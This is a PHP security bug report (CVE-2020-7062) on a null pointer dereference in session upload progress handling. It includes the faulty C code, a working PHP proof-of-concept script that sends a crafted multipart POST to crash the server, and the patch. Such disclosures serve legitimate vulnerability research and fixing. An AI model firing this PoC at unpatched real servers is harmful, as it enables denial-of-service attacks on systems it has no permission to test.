Sec Bug #79221 Null Pointer Dereference in PHP Session Upload Progress
Submitted: 2020-02-04 12:28 UTC Modified: 2020-02-17 08:21 UTC
From: ryat@php.net Assigned: stas (profile)
Status: Closed Package: Session related
PHP Version: Irrelevant OS: *
Private report: No CVE-ID: 2020-7062

Description:
------------
session.c:
```
static int php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra) /* {{{ */
{
    ...
	progress = PS(rfc1867_progress);

	switch(event) {
        ...
		case MULTIPART_EVENT_END: {
			multipart_event_end *data = (multipart_event_end *) event_data;

			if (Z_TYPE(progress->sid) && progress->key.s) {
				if (PS(rfc1867_cleanup)) {
					php_session_rfc1867_cleanup(progress);
				} else {
					SEPARATE_ARRAY(&progress->data);   <==== &progress->data is uninitialized
```

When the session.upload_progress.cleanup INI option is disabled, PHP will be not able to cleanup the progress information as soon as all POST data has been read. But if the upload fails, PHP will wrongly handles the progress information.

PoC:

/www/web/index.php
```
<?php
//do whatever
?>
```

poc.php
```
<?php

$host = 'localhost';
$port = '8000';
$addr = '/index.php';

$type = 'multipart/form-data; boundary=---------------------------20896060251896012921717172737';
$data = <<<EOF
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="PHPSESSID"

session-upload
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

ryat

-----------------------------20896060251896012921717172737--
EOF;
$cookie = 'PHPSESSID=session-upload';

$message = "POST $addr  HTTP/1.1\r\n";
$message .= "Content-Type: $type\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($data)."\r\n";
$message .= "Connection: Close\r\n";
$message .= "Cookie: $cookie\r\n\r\n";
$message .= $data;

$fp = fsockopen($host, $port);
fputs($fp, $message);

$resp = '';
while ($fp && !feof($fp)) {
    $resp .= fread($fp, 1024);
}
var_dump($resp);

?>
```

The issue can be easily triggered when session.upload_progress.cleanup=0, here is a simple proof of concept.
```
$php -S localhost:8000 -t /www/web/ -c php.ini
$php poc.php
```

Fix:
```
+   if (!Z_ISUNDEF(progress->data)) {
		SEPARATE_ARRAY(&progress->data);
		add_assoc_bool_ex(&progress->data, "done", sizeof("done") - 1, 1);
		Z_LVAL_P(progress->post_bytes_processed) = data->post_bytes_processed;
		php_session_rfc1867_update(progress, 1);
+	}
```
